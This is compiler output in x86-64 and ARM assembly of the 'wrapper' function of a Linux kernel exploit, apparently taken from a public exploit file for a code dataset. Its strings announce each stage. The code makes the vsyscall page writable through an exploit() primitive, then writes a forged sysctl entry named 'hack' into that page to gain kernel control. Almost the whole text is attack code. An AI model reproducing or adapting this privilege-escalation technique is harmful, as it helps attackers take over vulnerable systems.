	.file	"extr_40871.c_wrapper.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"exploit starting\n"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"making vsyscall page writable..\n\n"
	.section	.rodata.str1.1
.LC2:
	.string	"\nstage 1 completed\n"
.LC3:
	.string	"registering new sysctl..\n\n"
.LC4:
	.string	"hack"
	.section	.rodata
.LC5:
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.section	.rodata.str1.1
.LC6:
	.string	"stage 2 completed\n"
	.text
	.p2align 4
	.globl	wrapper
	.type	wrapper, @function
wrapper:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	lea	rsi, .LC0[rip]
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	sub	rsp, 8
	.cfi_def_cfa_offset 32
	mov	edi, DWORD PTR stderr[rip]
	call	fprintf@PLT
	lea	rdi, .LC1[rip]
	call	printf@PLT
	mov	rax, QWORD PTR off[rip]
	mov	edx, DWORD PTR verify_stage1[rip]
	mov	rsi, QWORD PTR VSYSCALL[rip]
	mov	edi, DWORD PTR 24[rax]
	call	exploit@PLT
	lea	rdi, .LC2[rip]
	call	printf@PLT
	mov	edi, 5
	call	sleep@PLT
	lea	rdi, .LC3[rip]
	call	printf@PLT
	mov	rbp, QWORD PTR VSYSCALL[rip]
	mov	edx, 1952
	xor	esi, esi
	lea	rbx, 2128[rbp]
	mov	rdi, rbx
	call	memset@PLT
	mov	rax, QWORD PTR VSYSCALL[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, 3840[rax]
	call	strcpy@PLT
	mov	rax, QWORD PTR VSYSCALL[rip]
	mov	edx, 4
	lea	rsi, .LC5[rip]
	lea	rdi, 3584[rax]
	call	memcpy@PLT
	mov	rsi, QWORD PTR VSYSCALL[rip]
	movabs	rcx, 1099511628214
	lea	rax, 3840[rsi]
	mov	QWORD PTR 2128[rbp], rax
	mov	rax, QWORD PTR off[rip]
	mov	rdx, QWORD PTR 16[rax]
	mov	QWORD PTR 2168[rbp], rdx
	mov	rdx, QWORD PTR 8[rax]
	mov	QWORD PTR 2136[rbp], rcx
	mov	edi, DWORD PTR [rax]
	mov	QWORD PTR 2160[rbp], rdx
	lea	rdx, 3584[rsi]
	mov	QWORD PTR 2152[rbp], rdx
	lea	rdx, 3328[rsi]
	add	rsi, 2128
	mov	QWORD PTR 2144[rbp], rdx
	mov	edx, DWORD PTR verify_stage2[rip]
	call	exploit@PLT
	add	rsp, 8
	.cfi_def_cfa_offset 24
	lea	rdi, .LC6[rip]
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	jmp	printf@PLT
	.cfi_endproc
.LFE0:
	.size	wrapper, .-wrapper
	.comm	verify_stage2,4,4
	.comm	verify_stage1,4,4
	.comm	stderr,4,4
	.comm	off,8,8
	.comm	VSYSCALL,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_40871.c_wrapper.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"exploit starting\012\000"
	.align	2
.LC1:
	.ascii	"making vsyscall page writable..\012\012\000"
	.align	2
.LC2:
	.ascii	"\012stage 1 completed\012\000"
	.align	2
.LC3:
	.ascii	"registering new sysctl..\012\012\000"
	.align	2
.LC4:
	.ascii	"hack\000"
	.align	2
.LC6:
	.ascii	"stage 2 completed\012\000"
	.text
	.align	2
	.global	wrapper
	.syntax unified
	.arm
	.fpu softvfp
	.type	wrapper, %function
wrapper:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, lr}
	mov	r8, #256
	ldr	r3, .L4
	ldr	r1, .L4+4
	ldr	r0, [r3]
	ldr	r7, .L4+8
	bl	fprintf
	ldr	r0, .L4+12
	bl	printf
	ldr	r5, .L4+16
	ldr	r3, .L4+20
	ldr	r2, [r7]
	ldr	r1, [r5]
	ldr	r0, [r2, #12]
	ldr	r2, [r3]
	bl	exploit
	ldr	r0, .L4+24
	bl	printf
	mov	r0, #5
	bl	sleep
	ldr	r0, .L4+28
	bl	printf
	ldr	r4, [r5]
	mov	r2, #1952
	add	r6, r4, #2128
	mov	r0, r6
	mov	r1, #0
	bl	memset
	ldr	r0, [r5]
	mov	r2, #5
	ldr	r1, .L4+32
	add	r0, r0, #3840
	bl	memcpy
	ldr	r0, [r5]
	mov	r2, #4
	ldr	r1, .L4+36
	add	r0, r0, #3584
	bl	memcpy
	ldr	r1, [r5]
	ldr	r3, [r7]
	ldr	r2, .L4+40
	ldr	ip, [r3, #8]
	add	r0, r1, #3840
	str	r0, [r4, #2128]
	ldr	r0, [r3, #4]
	str	r2, [r4, #2132]
	ldr	r2, .L4+44
	add	lr, r1, #3584
	str	ip, [r4, #2152]
	add	ip, r1, #3328
	str	r0, [r4, #2148]
	ldr	r2, [r2]
	ldr	r0, [r3]
	add	r1, r1, #2128
	str	r8, [r4, #2136]
	str	lr, [r4, #2144]
	str	ip, [r4, #2140]
	bl	exploit
	pop	{r4, r5, r6, r7, r8, lr}
	ldr	r0, .L4+48
	b	printf
.L5:
	.align	2
.L4:
	.word	stderr
	.word	.LC0
	.word	off
	.word	.LC1
	.word	VSYSCALL
	.word	verify_stage1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LANCHOR0
	.word	438
	.word	verify_stage2
	.word	.LC6
	.size	wrapper, .-wrapper
	.comm	verify_stage2,4,4
	.comm	verify_stage1,4,4
	.comm	stderr,4,4
	.comm	off,4,4
	.comm	VSYSCALL,4,4
	.section	.rodata
	.align	2
	.set	.LANCHOR0,. + 0
.LC5:
	.ascii	"\001\000\000\000\000"
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
